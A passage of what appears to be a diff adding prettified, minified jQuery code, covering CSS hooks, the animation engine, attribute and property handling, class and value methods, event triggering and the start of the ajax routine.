-= Math.ceil( + e["offset" + t[0].toUpperCase() + t.slice(1)] - + parseFloat(o[t]) - + Ze(e, t, "border", !1, o) - + 0.5 + )), + s && + (i = ie.exec(n)) && + "px" !== (i[3] || "px") && + ((e.style[t] = n), (n = w.css(e, t))), + Ke(e, n, s) + ); + }, + }; + }), + (w.cssHooks.marginLeft = _e(h.reliableMarginLeft, function (e, t) { + if (t) + return ( + (parseFloat(Fe(e, "marginLeft")) || + e.getBoundingClientRect().left - + se(e, { marginLeft: 0 }, function () { + return e.getBoundingClientRect().left; + })) + "px" + ); + })), + w.each({ margin: "", padding: "", border: "Width" }, function (e, t) { + (w.cssHooks[e + t] = { + expand: function (n) { + for ( + var r = 0, i = {}, o = "string" == typeof n ? n.split(" ") : [n]; + r < 4; + r++ + ) + i[e + oe[r] + t] = o[r] || o[r - 2] || o[0]; + return i; + }, + }), + "margin" !== e && (w.cssHooks[e + t].set = Ke); + }), + w.fn.extend({ + css: function (e, t) { + return z( + this, + function (e, t, n) { + var r, + i, + o = {}, + a = 0; + if (Array.isArray(t)) { + for (r = $e(e), i = t.length; a < i; a++) + o[t[a]] = w.css(e, t[a], !1, r); + return o; + } + return void 0 !== n ? w.style(e, t, n) : w.css(e, t); + }, + e, + t, + arguments.length > 1 + ); + }, + }); + function tt(e, t, n, r, i) { + return new tt.prototype.init(e, t, n, r, i); + } + (w.Tween = tt), + (tt.prototype = { + constructor: tt, + init: function (e, t, n, r, i, o) { + (this.elem = e), + (this.prop = n), + (this.easing = i || w.easing._default), + (this.options = t), + (this.start = this.now = this.cur()), + (this.end = r), + (this.unit = o || (w.cssNumber[n] ? "" : "px")); + }, + cur: function () { + var e = tt.propHooks[this.prop]; + return e && e.get ? e.get(this) : tt.propHooks._default.get(this); + }, + run: function (e) { + var t, + n = tt.propHooks[this.prop]; + return ( + this.options.duration + ? (this.pos = t = + w.easing[this.easing]( + e, + this.options.duration * e, + 0, + 1, + this.options.duration + )) + : (this.pos = t = e), + (this.now = (this.end - this.start) * t + this.start), + this.options.step && + this.options.step.call(this.elem, this.now, this), + n && n.set ? n.set(this) : tt.propHooks._default.set(this), + this + ); + }, + }), + (tt.prototype.init.prototype = tt.prototype), + (tt.propHooks = { + _default: { + get: function (e) { + var t; + return 1 !== e.elem.nodeType || + (null != e.elem[e.prop] && null == e.elem.style[e.prop]) + ? e.elem[e.prop] + : (t = w.css(e.elem, e.prop, "")) && "auto" !== t + ? t + : 0; + }, + set: function (e) { + w.fx.step[e.prop] + ? w.fx.step[e.prop](e) + : 1 !== e.elem.nodeType || + (null == e.elem.style[w.cssProps[e.prop]] && !w.cssHooks[e.prop]) + ? (e.elem[e.prop] = e.now) + : w.style(e.elem, e.prop, e.now + e.unit); + }, + }, + }), + (tt.propHooks.scrollTop = tt.propHooks.scrollLeft = + { + set: function (e) { + e.elem.nodeType && e.elem.parentNode && (e.elem[e.prop] = e.now); + }, + }), + (w.easing = { + linear: function (e) { + return e; + }, + swing: function (e) { + return 0.5 - Math.cos(e * Math.PI) / 2; + }, + _default: "swing", + }), + (w.fx = tt.prototype.init), + (w.fx.step = {}); + var nt, + rt, + it = /^(?:toggle|show|hide)$/, + ot = /queueHooks$/; + function at() { + rt && + (!1 === r.hidden && e.requestAnimationFrame + ? e.requestAnimationFrame(at) + : e.setTimeout(at, w.fx.interval), + w.fx.tick()); + } + function st() { + return ( + e.setTimeout(function () { + nt = void 0; + }), + (nt = Date.now()) + ); + } + function ut(e, t) { + var n, + r = 0, + i = { height: e }; + for (t = t ? 1 : 0; r < 4; r += 2 - t) + i["margin" + (n = oe[r])] = i["padding" + n] = e; + return t && (i.opacity = i.width = e), i; + } + function lt(e, t, n) { + for ( + var r, + i = (pt.tweeners[t] || []).concat(pt.tweeners["*"]), + o = 0, + a = i.length; + o < a; + o++ + ) + if ((r = i[o].call(n, t, e))) return r; + } + function ct(e, t, n) { + var r, + i, + o, + a, + s, + u, + l, + c, + f = "width" in t || "height" in t, + p = this, + d = {}, + h = e.style, + g = e.nodeType && ae(e), + y = J.get(e, "fxshow"); + n.queue || + (null == (a = w._queueHooks(e, "fx")).unqueued && + ((a.unqueued = 0), + (s = a.empty.fire), + (a.empty.fire = function () { + a.unqueued || s(); + })), + a.unqueued++, + p.always(function () { + p.always(function () { + a.unqueued--, w.queue(e, "fx").length || a.empty.fire(); + }); + })); + for (r in t) + if (((i = t[r]), it.test(i))) { + if ( + (delete t[r], (o = o || "toggle" === i), i === (g ? "hide" : "show")) + ) { + if ("show" !== i || !y || void 0 === y[r]) continue; + g = !0; + } + d[r] = (y && y[r]) || w.style(e, r); + } + if ((u = !w.isEmptyObject(t)) || !w.isEmptyObject(d)) { + f && + 1 === e.nodeType && + ((n.overflow = [h.overflow, h.overflowX, h.overflowY]), + null == (l = y && y.display) && (l = J.get(e, "display")), + "none" === (c = w.css(e, "display")) && + (l + ? (c = l) + : (fe([e], !0), + (l = e.style.display || l), + (c = w.css(e, "display")), + fe([e]))), + ("inline" === c || ("inline-block" === c && null != l)) && + "none" === w.css(e, "float") && + (u || + (p.done(function () { + h.display = l; + }), + null == l && ((c = h.display), (l = "none" === c ? "" : c))), + (h.display = "inline-block"))), + n.overflow && + ((h.overflow = "hidden"), + p.always(function () { + (h.overflow = n.overflow[0]), + (h.overflowX = n.overflow[1]), + (h.overflowY = n.overflow[2]); + })), + (u = !1); + for (r in d) + u || + (y + ? "hidden" in y && (g = y.hidden) + : (y = J.access(e, "fxshow", { display: l })), + o && (y.hidden = !g), + g && fe([e], !0), + p.done(function () { + g || fe([e]), J.remove(e, "fxshow"); + for (r in d) w.style(e, r, d[r]); + })), + (u = lt(g ? y[r] : 0, r, p)), + r in y || ((y[r] = u.start), g && ((u.end = u.start), (u.start = 0))); + } + } + function ft(e, t) { + var n, r, i, o, a; + for (n in e) + if ( + ((r = G(n)), + (i = t[r]), + (o = e[n]), + Array.isArray(o) && ((i = o[1]), (o = e[n] = o[0])), + n !== r && ((e[r] = o), delete e[n]), + (a = w.cssHooks[r]) && "expand" in a) + ) { + (o = a.expand(o)), delete e[r]; + for (n in o) n in e || ((e[n] = o[n]), (t[n] = i)); + } else t[r] = i; + } + function pt(e, t, n) { + var r, + i, + o = 0, + a = pt.prefilters.length, + s = w.Deferred().always(function () { + delete u.elem; + }), + u = function () { + if (i) return !1; + for ( + var t = nt || st(), + n = Math.max(0, l.startTime + l.duration - t), + r = 1 - (n / l.duration || 0), + o = 0, + a = l.tweens.length; + o < a; + o++ + ) + l.tweens[o].run(r); + return ( + s.notifyWith(e, [l, r, n]), + r < 1 && a + ? n + : (a || s.notifyWith(e, [l, 1, 0]), s.resolveWith(e, [l]), !1) + ); + }, + l = s.promise({ + elem: e, + props: w.extend({}, t), + opts: w.extend(!0, { specialEasing: {}, easing: w.easing._default }, n), + originalProperties: t, + originalOptions: n, + startTime: nt || st(), + duration: n.duration, + tweens: [], + createTween: function (t, n) { + var r = w.Tween( + e, + l.opts, + t, + n, + l.opts.specialEasing[t] || l.opts.easing + ); + return l.tweens.push(r), r; + }, + stop: function (t) { + var n = 0, + r = t ? l.tweens.length : 0; + if (i) return this; + for (i = !0; n < r; n++) l.tweens[n].run(1); + return ( + t + ? (s.notifyWith(e, [l, 1, 0]), s.resolveWith(e, [l, t])) + : s.rejectWith(e, [l, t]), + this + ); + }, + }), + c = l.props; + for (ft(c, l.opts.specialEasing); o < a; o++) + if ((r = pt.prefilters[o].call(l, e, c, l.opts))) + return ( + g(r.stop) && + (w._queueHooks(l.elem, l.opts.queue).stop = r.stop.bind(r)), + r + ); + return ( + w.map(c, lt, l), + g(l.opts.start) && l.opts.start.call(e, l), + l + .progress(l.opts.progress) + .done(l.opts.done, l.opts.complete) + .fail(l.opts.fail) + .always(l.opts.always), + w.fx.timer(w.extend(u, { elem: e, anim: l, queue: l.opts.queue })), + l + ); + } + (w.Animation = w.extend(pt, { + tweeners: { + "*": [ + function (e, t) { + var n = this.createTween(e, t); + return ue(n.elem, e, ie.exec(t), n), n; + }, + ], + }, + tweener: function (e, t) { + g(e) ? ((t = e), (e = ["*"])) : (e = e.match(M)); + for (var n, r = 0, i = e.length; r < i; r++) + (n = e[r]), + (pt.tweeners[n] = pt.tweeners[n] || []), + pt.tweeners[n].unshift(t); + }, + prefilters: [ct], + prefilter: function (e, t) { + t ? pt.prefilters.unshift(e) : pt.prefilters.push(e); + }, + })), + (w.speed = function (e, t, n) { + var r = + e && "object" == typeof e + ? w.extend({}, e) + : { + complete: n || (!n && t) || (g(e) && e), + duration: e, + easing: (n && t) || (t && !g(t) && t), + }; + return ( + w.fx.off + ? (r.duration = 0) + : "number" != typeof r.duration && + (r.duration in w.fx.speeds + ? (r.duration = w.fx.speeds[r.duration]) + : (r.duration = w.fx.speeds._default)), + (null != r.queue && !0 !== r.queue) || (r.queue = "fx"), + (r.old = r.complete), + (r.complete = function () { + g(r.old) && r.old.call(this), r.queue && w.dequeue(this, r.queue); + }), + r + ); + }), + w.fn.extend({ + fadeTo: function (e, t, n, r) { + return this.filter(ae) + .css("opacity", 0) + .show() + .end() + .animate({ opacity: t }, e, n, r); + }, + animate: function (e, t, n, r) { + var i = w.isEmptyObject(e), + o = w.speed(t, n, r), + a = function () { + var t = pt(this, w.extend({}, e), o); + (i || J.get(this, "finish")) && t.stop(!0); + }; + return ( + (a.finish = a), + i || !1 === o.queue ? this.each(a) : this.queue(o.queue, a) + ); + }, + stop: function (e, t, n) { + var r = function (e) { + var t = e.stop; + delete e.stop, t(n); + }; + return ( + "string" != typeof e && ((n = t), (t = e), (e = void 0)), + t && !1 !== e && this.queue(e || "fx", []), + this.each(function () { + var t = !0, + i = null != e && e + "queueHooks", + o = w.timers, + a = J.get(this); + if (i) a[i] && a[i].stop && r(a[i]); + else for (i in a) a[i] && a[i].stop && ot.test(i) && r(a[i]); + for (i = o.length; i--; ) + o[i].elem !== this || + (null != e && o[i].queue !== e) || + (o[i].anim.stop(n), (t = !1), o.splice(i, 1)); + (!t && n) || w.dequeue(this, e); + }) + ); + }, + finish: function (e) { + return ( + !1 !== e && (e = e || "fx"), + this.each(function () { + var t, + n = J.get(this), + r = n[e + "queue"], + i = n[e + "queueHooks"], + o = w.timers, + a = r ? r.length : 0; + for ( + n.finish = !0, + w.queue(this, e, []), + i && i.stop && i.stop.call(this, !0), + t = o.length; + t--; + + ) + o[t].elem === this && + o[t].queue === e && + (o[t].anim.stop(!0), o.splice(t, 1)); + for (t = 0; t < a; t++) + r[t] && r[t].finish && r[t].finish.call(this); + delete n.finish; + }) + ); + }, + }), + w.each(["toggle", "show", "hide"], function (e, t) { + var n = w.fn[t]; + w.fn[t] = function (e, r, i) { + return null == e || "boolean" == typeof e + ? n.apply(this, arguments) + : this.animate(ut(t, !0), e, r, i); + }; + }), + w.each( + { + slideDown: ut("show"), + slideUp: ut("hide"), + slideToggle: ut("toggle"), + fadeIn: { opacity: "show" }, + fadeOut: { opacity: "hide" }, + fadeToggle: { opacity: "toggle" }, + }, + function (e, t) { + w.fn[e] = function (e, n, r) { + return this.animate(t, e, n, r); + }; + } + ), + (w.timers = []), + (w.fx.tick = function () { + var e, + t = 0, + n = w.timers; + for (nt = Date.now(); t < n.length; t++) + (e = n[t])() || n[t] !== e || n.splice(t--, 1); + n.length || w.fx.stop(), (nt = void 0); + }), + (w.fx.timer = function (e) { + w.timers.push(e), w.fx.start(); + }), + (w.fx.interval = 13), + (w.fx.start = function () { + rt || ((rt = !0), at()); + }), + (w.fx.stop = function () { + rt = null; + }), + (w.fx.speeds = { slow: 600, fast: 200, _default: 400 }), + (w.fn.delay = function (t, n) { + return ( + (t = w.fx ? w.fx.speeds[t] || t : t), + (n = n || "fx"), + this.queue(n, function (n, r) { + var i = e.setTimeout(n, t); + r.stop = function () { + e.clearTimeout(i); + }; + }) + ); + }), + (function () { + var e = r.createElement("input"), + t = r.createElement("select").appendChild(r.createElement("option")); + (e.type = "checkbox"), + (h.checkOn = "" !== e.value), + (h.optSelected = t.selected), + ((e = r.createElement("input")).value = "t"), + (e.type = "radio"), + (h.radioValue = "t" === e.value); + })(); + var dt, + ht = w.expr.attrHandle; + w.fn.extend({ + attr: function (e, t) { + return z(this, w.attr, e, t, arguments.length > 1); + }, + removeAttr: function (e) { + return this.each(function () { + w.removeAttr(this, e); + }); + }, + }), + w.extend({ + attr: function (e, t, n) { + var r, + i, + o = e.nodeType; + if (3 !== o && 8 !== o && 2 !== o) + return "undefined" == typeof e.getAttribute + ? w.prop(e, t, n) + : ((1 === o && w.isXMLDoc(e)) || + (i = + w.attrHooks[t.toLowerCase()] || + (w.expr.match.bool.test(t) ? dt : void 0)), + void 0 !== n + ? null === n + ? void w.removeAttr(e, t) + : i && "set" in i && void 0 !== (r = i.set(e, n, t)) + ? r + : (e.setAttribute(t, n + ""), n) + : i && "get" in i && null !== (r = i.get(e, t)) + ? r + : null == (r = w.find.attr(e, t)) + ? void 0 + : r); + }, + attrHooks: { + type: { + set: function (e, t) { + if (!h.radioValue && "radio" === t && N(e, "input")) { + var n = e.value; + return e.setAttribute("type", t), n && (e.value = n), t; + } + }, + }, + }, + removeAttr: function (e, t) { + var n, + r = 0, + i = t && t.match(M); + if (i && 1 === e.nodeType) while ((n = i[r++])) e.removeAttribute(n); + }, + }), + (dt = { + set: function (e, t, n) { + return !1 === t ? w.removeAttr(e, n) : e.setAttribute(n, n), n; + }, + }), + w.each(w.expr.match.bool.source.match(/\w+/g), function (e, t) { + var n = ht[t] || w.find.attr; + ht[t] = function (e, t, r) { + var i, + o, + a = t.toLowerCase(); + return ( + r || + ((o = ht[a]), + (ht[a] = i), + (i = null != n(e, t, r) ? a : null), + (ht[a] = o)), + i + ); + }; + }); + var gt = /^(?:input|select|textarea|button)$/i, + yt = /^(?:a|area)$/i; + w.fn.extend({ + prop: function (e, t) { + return z(this, w.prop, e, t, arguments.length > 1); + }, + removeProp: function (e) { + return this.each(function () { + delete this[w.propFix[e] || e]; + }); + }, + }), + w.extend({ + prop: function (e, t, n) { + var r, + i, + o = e.nodeType; + if (3 !== o && 8 !== o && 2 !== o) + return ( + (1 === o && w.isXMLDoc(e)) || + ((t = w.propFix[t] || t), (i = w.propHooks[t])), + void 0 !== n + ? i && "set" in i && void 0 !== (r = i.set(e, n, t)) + ? r + : (e[t] = n) + : i && "get" in i && null !== (r = i.get(e, t)) + ? r + : e[t] + ); + }, + propHooks: { + tabIndex: { + get: function (e) { + var t = w.find.attr(e, "tabindex"); + return t + ? parseInt(t, 10) + : gt.test(e.nodeName) || (yt.test(e.nodeName) && e.href) + ? 0 + : -1; + }, + }, + }, + propFix: { for: "htmlFor", class: "className" }, + }), + h.optSelected || + (w.propHooks.selected = { + get: function (e) { + var t = e.parentNode; + return t && t.parentNode && t.parentNode.selectedIndex, null; + }, + set: function (e) { + var t = e.parentNode; + t && (t.selectedIndex, t.parentNode && t.parentNode.selectedIndex); + }, + }), + w.each( + [ + "tabIndex", + "readOnly", + "maxLength", + "cellSpacing", + "cellPadding", + "rowSpan", + "colSpan", + "useMap", + "frameBorder", + "contentEditable", + ], + function () { + w.propFix[this.toLowerCase()] = this; + } + ); + function vt(e) { + return (e.match(M) || []).join(" "); + } + function mt(e) { + return (e.getAttribute && e.getAttribute("class")) || ""; + } + function xt(e) { + return Array.isArray(e) ? e : "string" == typeof e ? e.match(M) || [] : []; + } + w.fn.extend({ + addClass: function (e) { + var t, + n, + r, + i, + o, + a, + s, + u = 0; + if (g(e)) + return this.each(function (t) { + w(this).addClass(e.call(this, t, mt(this))); + }); + if ((t = xt(e)).length) + while ((n = this[u++])) + if (((i = mt(n)), (r = 1 === n.nodeType && " " + vt(i) + " "))) { + a = 0; + while ((o = t[a++])) r.indexOf(" " + o + " ") < 0 && (r += o + " "); + i !== (s = vt(r)) && n.setAttribute("class", s); + } + return this; + }, + removeClass: function (e) { + var t, + n, + r, + i, + o, + a, + s, + u = 0; + if (g(e)) + return this.each(function (t) { + w(this).removeClass(e.call(this, t, mt(this))); + }); + if (!arguments.length) return this.attr("class", ""); + if ((t = xt(e)).length) + while ((n = this[u++])) + if (((i = mt(n)), (r = 1 === n.nodeType && " " + vt(i) + " "))) { + a = 0; + while ((o = t[a++])) + while (r.indexOf(" " + o + " ") > -1) + r = r.replace(" " + o + " ", " "); + i !== (s = vt(r)) && n.setAttribute("class", s); + } + return this; + }, + toggleClass: function (e, t) { + var n = typeof e, + r = "string" === n || Array.isArray(e); + return "boolean" == typeof t && r + ? t + ? this.addClass(e) + : this.removeClass(e) + : g(e) + ? this.each(function (n) { + w(this).toggleClass(e.call(this, n, mt(this), t), t); + }) + : this.each(function () { + var t, i, o, a; + if (r) { + (i = 0), (o = w(this)), (a = xt(e)); + while ((t = a[i++])) + o.hasClass(t) ? o.removeClass(t) : o.addClass(t); + } else (void 0 !== e && "boolean" !== n) || ((t = mt(this)) && J.set(this, "__className__", t), this.setAttribute && this.setAttribute("class", t || !1 === e ? "" : J.get(this, "__className__") || "")); + }); + }, + hasClass: function (e) { + var t, + n, + r = 0; + t = " " + e + " "; + while ((n = this[r++])) + if (1 === n.nodeType && (" " + vt(mt(n)) + " ").indexOf(t) > -1) + return !0; + return !1; + }, + }); + var bt = /\r/g; + w.fn.extend({ + val: function (e) { + var t, + n, + r, + i = this[0]; + { + if (arguments.length) + return ( + (r = g(e)), + this.each(function (n) { + var i; + 1 === this.nodeType && + (null == (i = r ? e.call(this, n, w(this).val()) : e) + ? (i = "") + : "number" == typeof i + ? (i += "") + : Array.isArray(i) && + (i = w.map(i, function (e) { + return null == e ? "" : e + ""; + })), + ((t = + w.valHooks[this.type] || + w.valHooks[this.nodeName.toLowerCase()]) && + "set" in t && + void 0 !== t.set(this, i, "value")) || + (this.value = i)); + }) + ); + if (i) + return (t = + w.valHooks[i.type] || w.valHooks[i.nodeName.toLowerCase()]) && + "get" in t && + void 0 !== (n = t.get(i, "value")) + ? n + : "string" == typeof (n = i.value) + ? n.replace(bt, "") + : null == n + ? "" + : n; + } + }, + }), + w.extend({ + valHooks: { + option: { + get: function (e) { + var t = w.find.attr(e, "value"); + return null != t ? t : vt(w.text(e)); + }, + }, + select: { + get: function (e) { + var t, + n, + r, + i = e.options, + o = e.selectedIndex, + a = "select-one" === e.type, + s = a ? null : [], + u = a ? o + 1 : i.length; + for (r = o < 0 ? u : a ? o : 0; r < u; r++) + if ( + ((n = i[r]).selected || r === o) && + !n.disabled && + (!n.parentNode.disabled || !N(n.parentNode, "optgroup")) + ) { + if (((t = w(n).val()), a)) return t; + s.push(t); + } + return s; + }, + set: function (e, t) { + var n, + r, + i = e.options, + o = w.makeArray(t), + a = i.length; + while (a--) + ((r = i[a]).selected = + w.inArray(w.valHooks.option.get(r), o) > -1) && (n = !0); + return n || (e.selectedIndex = -1), o; + }, + }, + }, + }), + w.each(["radio", "checkbox"], function () { + (w.valHooks[this] = { + set: function (e, t) { + if (Array.isArray(t)) + return (e.checked = w.inArray(w(e).val(), t) > -1); + }, + }), + h.checkOn || + (w.valHooks[this].get = function (e) { + return null === e.getAttribute("value") ? "on" : e.value; + }); + }), + (h.focusin = "onfocusin" in e); + var wt = /^(?:focusinfocus|focusoutblur)$/, + Tt = function (e) { + e.stopPropagation(); + }; + w.extend(w.event, { + trigger: function (t, n, i, o) { + var a, + s, + u, + l, + c, + p, + d, + h, + v = [i || r], + m = f.call(t, "type") ? t.type : t, + x = f.call(t, "namespace") ? t.namespace.split(".") : []; + if ( + ((s = h = u = i = i || r), + 3 !== i.nodeType && + 8 !== i.nodeType && + !wt.test(m + w.event.triggered) && + (m.indexOf(".") > -1 && ((m = (x = m.split(".")).shift()), x.sort()), + (c = m.indexOf(":") < 0 && "on" + m), + (t = t[w.expando] ? t : new w.Event(m, "object" == typeof t && t)), + (t.isTrigger = o ? 2 : 3), + (t.namespace = x.join(".")), + (t.rnamespace = t.namespace + ? new RegExp("(^|\\.)" + x.join("\\.(?:.*\\.|)") + "(\\.|$)") + : null), + (t.result = void 0), + t.target || (t.target = i), + (n = null == n ? [t] : w.makeArray(n, [t])), + (d = w.event.special[m] || {}), + o || !d.trigger || !1 !== d.trigger.apply(i, n))) + ) { + if (!o && !d.noBubble && !y(i)) { + for ( + l = d.delegateType || m, wt.test(l + m) || (s = s.parentNode); + s; + s = s.parentNode + ) + v.push(s), (u = s); + u === (i.ownerDocument || r) && + v.push(u.defaultView || u.parentWindow || e); + } + a = 0; + while ((s = v[a++]) && !t.isPropagationStopped()) + (h = s), + (t.type = a > 1 ? l : d.bindType || m), + (p = (J.get(s, "events") || {})[t.type] && J.get(s, "handle")) && + p.apply(s, n), + (p = c && s[c]) && + p.apply && + Y(s) && + ((t.result = p.apply(s, n)), + !1 === t.result && t.preventDefault()); + return ( + (t.type = m), + o || + t.isDefaultPrevented() || + (d._default && !1 !== d._default.apply(v.pop(), n)) || + !Y(i) || + (c && + g(i[m]) && + !y(i) && + ((u = i[c]) && (i[c] = null), + (w.event.triggered = m), + t.isPropagationStopped() && h.addEventListener(m, Tt), + i[m](), + t.isPropagationStopped() && h.removeEventListener(m, Tt), + (w.event.triggered = void 0), + u && (i[c] = u))), + t.result + ); + } + }, + simulate: function (e, t, n) { + var r = w.extend(new w.Event(), n, { type: e, isSimulated: !0 }); + w.event.trigger(r, null, t); + }, + }), + w.fn.extend({ + trigger: function (e, t) { + return this.each(function () { + w.event.trigger(e, t, this); + }); + }, + triggerHandler: function (e, t) { + var n = this[0]; + if (n) return w.event.trigger(e, t, n, !0); + }, + }), + h.focusin || + w.each({ focus: "focusin", blur: "focusout" }, function (e, t) { + var n = function (e) { + w.event.simulate(t, e.target, w.event.fix(e)); + }; + w.event.special[t] = { + setup: function () { + var r = this.ownerDocument || this, + i = J.access(r, t); + i || r.addEventListener(e, n, !0), J.access(r, t, (i || 0) + 1); + }, + teardown: function () { + var r = this.ownerDocument || this, + i = J.access(r, t) - 1; + i + ? J.access(r, t, i) + : (r.removeEventListener(e, n, !0), J.remove(r, t)); + }, + }; + }); + var Ct = e.location, + Et = Date.now(), + kt = /\?/; + w.parseXML = function (t) { + var n; + if (!t || "string" != typeof t) return null; + try { + n = new e.DOMParser().parseFromString(t, "text/xml"); + } catch (e) { + n = void 0; + } + return ( + (n && !n.getElementsByTagName("parsererror").length) || + w.error("Invalid XML: " + t), + n + ); + }; + var St = /\[\]$/, + Dt = /\r?\n/g, + Nt = /^(?:submit|button|image|reset|file)$/i, + At = /^(?:input|select|textarea|keygen)/i; + function jt(e, t, n, r) { + var i; + if (Array.isArray(t)) + w.each(t, function (t, i) { + n || St.test(e) + ? r(e, i) + : jt( + e + "[" + ("object" == typeof i && null != i ? t : "") + "]", + i, + n, + r + ); + }); + else if (n || "object" !== x(t)) r(e, t); + else for (i in t) jt(e + "[" + i + "]", t[i], n, r); + } + (w.param = function (e, t) { + var n, + r = [], + i = function (e, t) { + var n = g(t) ? t() : t; + r[r.length] = + encodeURIComponent(e) + "=" + encodeURIComponent(null == n ? "" : n); + }; + if (Array.isArray(e) || (e.jquery && !w.isPlainObject(e))) + w.each(e, function () { + i(this.name, this.value); + }); + else for (n in e) jt(n, e[n], t, i); + return r.join("&"); + }), + w.fn.extend({ + serialize: function () { + return w.param(this.serializeArray()); + }, + serializeArray: function () { + return this.map(function () { + var e = w.prop(this, "elements"); + return e ? w.makeArray(e) : this; + }) + .filter(function () { + var e = this.type; + return ( + this.name && + !w(this).is(":disabled") && + At.test(this.nodeName) && + !Nt.test(e) && + (this.checked || !pe.test(e)) + ); + }) + .map(function (e, t) { + var n = w(this).val(); + return null == n + ? null + : Array.isArray(n) + ? w.map(n, function (e) { + return { name: t.name, value: e.replace(Dt, "\r\n") }; + }) + : { name: t.name, value: n.replace(Dt, "\r\n") }; + }) + .get(); + }, + }); + var qt = /%20/g, + Lt = /#.*$/, + Ht = /([?&])_=[^&]*/, + Ot = /^(.*?):[ \t]*([^\r\n]*)$/gm, + Pt = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, + Mt = /^(?:GET|HEAD)$/, + Rt = /^\/\//, + It = {}, + Wt = {}, + $t = "*/".concat("*"), + Bt = r.createElement("a"); + Bt.href = Ct.href; + function Ft(e) { + return function (t, n) { + "string" != typeof t && ((n = t), (t = "*")); + var r, + i = 0, + o = t.toLowerCase().match(M) || []; + if (g(n)) + while ((r = o[i++])) + "+" === r[0] + ? ((r = r.slice(1) || "*"), (e[r] = e[r] || []).unshift(n)) + : (e[r] = e[r] || []).push(n); + }; + } + function _t(e, t, n, r) { + var i = {}, + o = e === Wt; + function a(s) { + var u; + return ( + (i[s] = !0), + w.each(e[s] || [], function (e, s) { + var l = s(t, n, r); + return "string" != typeof l || o || i[l] + ? o + ? !(u = l) + : void 0 + : (t.dataTypes.unshift(l), a(l), !1); + }), + u + ); + } + return a(t.dataTypes[0]) || (!i["*"] && a("*")); + } + function zt(e, t) { + var n, + r, + i = w.ajaxSettings.flatOptions || {}; + for (n in t) void 0 !== t[n] && ((i[n] ? e : r || (r = {}))[n] = t[n]); + return r && w.extend(!0, e, r), e; + } + function Xt(e, t, n) { + var r, + i, + o, + a, + s = e.contents, + u = e.dataTypes; + while ("*" === u[0]) + u.shift(), + void 0 === r && (r = e.mimeType || t.getResponseHeader("Content-Type")); + if (r) + for (i in s) + if (s[i] && s[i].test(r)) { + u.unshift(i); + break; + } + if (u[0] in n) o = u[0]; + else { + for (i in n) { + if (!u[0] || e.converters[i + " " + u[0]]) { + o = i; + break; + } + a || (a = i); + } + o = o || a; + } + if (o) return o !== u[0] && u.unshift(o), n[o]; + } + function Ut(e, t, n, r) { + var i, + o, + a, + s, + u, + l = {}, + c = e.dataTypes.slice(); + if (c[1]) for (a in e.converters) l[a.toLowerCase()] = e.converters[a]; + o = c.shift(); + while (o) + if ( + (e.responseFields[o] && (n[e.responseFields[o]] = t), + !u && r && e.dataFilter && (t = e.dataFilter(t, e.dataType)), + (u = o), + (o = c.shift())) + ) + if ("*" === o) o = u; + else if ("*" !== u && u !== o) { + if (!(a = l[u + " " + o] || l["* " + o])) + for (i in l) + if ( + (s = i.split(" "))[1] === o && + (a = l[u + " " + s[0]] || l["* " + s[0]]) + ) { + !0 === a + ? (a = l[i]) + : !0 !== l[i] && ((o = s[0]), c.unshift(s[1])); + break; + } + if (!0 !== a) + if (a && e["throws"]) t = a(t); + else + try { + t = a(t); + } catch (e) { + return { + state: "parsererror", + error: a ? e : "No conversion from " + u + " to " + o, + }; + } + } + return { state: "success", data: t }; + } + w.extend({ + active: 0, + lastModified: {}, + etag: {}, + ajaxSettings: { + url: Ct.href, + type: "GET", + isLocal: Pt.test(Ct.protocol), + global: !0, + processData: !0, + async: !0, + contentType: "application/x-www-form-urlencoded; charset=UTF-8", + accepts: { + "*": $t, + text: "text/plain", + html: "text/html", + xml: "application/xml, text/xml", + json: "application/json, text/javascript", + }, + contents: { xml: /\bxml\b/, html: /\bhtml/, json: /\bjson\b/ }, + responseFields: { + xml: "responseXML", + text: "responseText", + json: "responseJSON", + }, + converters: { + "* text": String, + "text html": !0, + "text json": JSON.parse, + "text xml": w.parseXML, + }, + flatOptions: { url: !0, context: !0 }, + }, + ajaxSetup: function (e, t) { + return t ? zt(zt(e, w.ajaxSettings), t) : zt(w.ajaxSettings, e); + }, + ajaxPrefilter: Ft(It), + ajaxTransport: Ft(Wt), + ajax: function (t, n) { + "object" == typeof t && ((n = t), (t = void 0)), (n = n || {}); + var i, + o, + a, + s, + u, + l, + c, + f, + p, + d, + h = w.ajaxSetup({}, n), + g = h.context || h, + y = h.context && (g.nodeType || g.jquery) ? w(g) : w.event, + v = w.Deferred(), + m = w.Callbacks("once memory"), + x = h.statusCode || {}, + b = {}, + T = {}, + C = "canceled", + E = { + readyState: 0, + getResponseHeader: function (e) { + var t; + if (c) { + if (!s) { + s = {}; + while ((t = Ot.exec(a))) s[t[1].toLowerCase()] = t[2]; + } + t = s[e.toLowerCase()]; + } + return null == t ? null : t; + }, + getAllResponseHeaders: function () { + return c ? a : null; + }, + setRequestHeader: function (e, t) { + return ( + null == c && + ((e = T[e.toLowerCase()] = T[e.toLowerCase()] || e), + (b[e] = t)), + this + ); + }, + overrideMimeType: function (e) { + return null == c && (h.mimeType = e), this; + }, + statusCode: function (e) { + var t; + if (e) + if (c) E.always(e[E.status]); + else for (t in e) x[t] = [x[t], e[t]]; + return this; + }, + abort: function (e) { + var t = e || C; + return i && i.abort(t), k(0, t), this; + }, + }; + if ( + (v.promise(E), + (h.url = ((t || h.url || Ct.href) + "").replace( + Rt, + Ct.protocol + "//" + )), + (h.type = n.method || n.type || h.method || h.type), + (h.dataTypes = (h.dataType || "*").toLowerCase().match(M) || [""]), + null == h.crossDomain) + ) { + l = r.createElement("a"); + try { + (l.href = h.url), + (l.href = l.href), + (h.crossDomain = + Bt.protocol + "//" + Bt.host != l.protocol + "//" + l.host); + } catch (e) { + h.crossDomain = !0; + } + } + if ( + (h.data && + h.processData && + "string" != typeof h.data && + (h.data = w.param(h.data, h.traditional)), + _t(It, h, n, E), + c) + ) + return E; + (f = w.event && h.global) && + 0 == w.active++ && + w.event.trigger("ajaxStart"), + (h.type = h.type.toUpperCase()), + (h.hasContent = !Mt.test(h.type)), + (o = h.url.replace(Lt, "")), + h.hasContent + ? h.data && + h.processData && + 0 === + (h.contentType || "").indexOf( + "application/x-www-form-urlencoded" + ) && + (h.data = h.data.replace(qt, "+")) + : ((d = h.url.slice(o.length)), + h.data && + (h.processData || "string" == typeof h.data) && + ((o += (kt.test(o) ? "&" : "?") + h.data), delete h.data), + !1 === h.cache && + ((o = o.replace(Ht, "$1")), + (d = (kt.test(o) ? "&" : "?") + "_=" + Et++ + d)), + (h.url = o + d)), + h.ifModified && + 